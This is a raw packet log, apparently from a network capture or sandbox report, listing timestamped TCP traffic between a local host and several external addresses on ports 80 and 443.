Nov 12, 2024 10:37:33.175158024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175193071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175204039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175234079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175249100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175349951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175362110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175373077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175389051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175396919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175409079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175431967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175550938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175560951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175601006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175638914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175647974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175658941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175673962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175698996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175770044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175781012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175801039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175812960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175838947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175864935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175977945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175991058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176007986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176019907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176027060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176039934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176055908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176120043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176131010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176141977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176153898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176177979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176214933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176309109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176322937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176335096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176357031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176372051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176397085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176534891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176546097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176568031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176580906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.176589966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176601887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176619053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.176718950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.177339077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.221139908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.221159935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.221173048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.221261978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.221262932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.221307039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.221318960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.221359015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.252327919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.252357960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.252370119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.252396107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.252437115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.291882038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291898012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291908979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291919947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291939020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291949987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291954994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.291961908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291975975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291989088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.291994095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292002916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292011976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292041063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292069912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292081118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292092085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292104959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292112112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292133093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292161942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292382956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292397022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292450905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292679071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292695999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292709112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292721033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292731047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292757988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292901993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292913914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292923927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.292943954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.292960882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293117046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293128014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293139935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293150902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293163061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293169975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293178082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293201923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293215990 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293559074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293570995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293581963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293663979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293730974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293745995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293757915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293770075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293792009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293800116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293811083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293816090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293828011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293838978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293849945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.293862104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293883085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.293908119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.294323921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.294390917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.296433926 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.296701908 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.296758890 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.296816111 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.296916008 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.296955109 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.296997070 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297102928 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297149897 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.297204971 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297223091 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297239065 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.297337055 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297348976 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.297355890 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297565937 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297740936 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297755003 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.297961950 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.297976017 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.298221111 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.298221111 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.298234940 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.298238039 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.298445940 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.298455954 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.299079895 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.299089909 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.299676895 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.299681902 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.316406012 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.316939116 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.316965103 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.317488909 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.317496061 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.341016054 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.341674089 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.341700077 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.342128992 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.342133999 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.351438046 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.352324963 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.352336884 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.353092909 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.353097916 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.356334925 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.356340885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.356915951 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.356947899 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.357292891 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.357300043 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.361134052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.424756050 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.424789906 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.424843073 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.424849033 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.424945116 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.425048113 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.425048113 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.425060987 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.425069094 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.427886009 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.427951097 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.428118944 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.428258896 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.428273916 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.449587107 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.449712992 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.449790955 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.449909925 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.449930906 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.449943066 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.449949026 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.452189922 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.452227116 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.452315092 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.452459097 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.452470064 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.469690084 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.469748974 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.470467091 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.470527887 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.470546007 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.470556974 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.470563889 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.472609043 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.472651005 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.472733974 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.472863913 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.472877026 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.482352018 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.482410908 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.482604980 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.482794046 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.482799053 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.482809067 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.482811928 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.484616041 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.484647989 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.484770060 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.484927893 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.484941006 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.487411022 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.487472057 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.488054037 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.488054037 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.488090038 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.488107920 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.489902973 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.489936113 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.490060091 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.490186930 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:33.490200996 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:33.550528049 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.550801039 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.550822020 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.551892996 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.551964998 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.553046942 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.553108931 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.553369045 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.553376913 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.602615118 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.633389950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633455038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.633560896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633609056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633621931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633666039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.633764982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633780003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633791924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633804083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633816004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.633852959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.633979082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.633990049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634001017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634012938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634025097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634033918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634047985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634073019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634246111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634258032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634287119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634424925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634435892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634447098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634458065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634469986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634473085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634481907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634490013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634494066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634507895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634509087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634522915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634548903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634795904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634821892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.634836912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.634915113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.714798927 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.715128899 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.715147018 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.716269970 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.716348886 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.722537994 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.722672939 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.722800016 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.722810030 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.749219894 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.749409914 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.749466896 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.750191927 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.750205994 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.750725985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750776052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750787020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750811100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.750854969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.750926018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750943899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750957012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750969887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.750982046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.750999928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751247883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751260042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751272917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751286983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751301050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751310110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751341105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751341105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751691103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751703024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751713991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751728058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751738071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751750946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751749992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751764059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751773119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751776934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751791000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751802921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.751804113 CET	49834	80	192.168.2.6	185.215.113.206
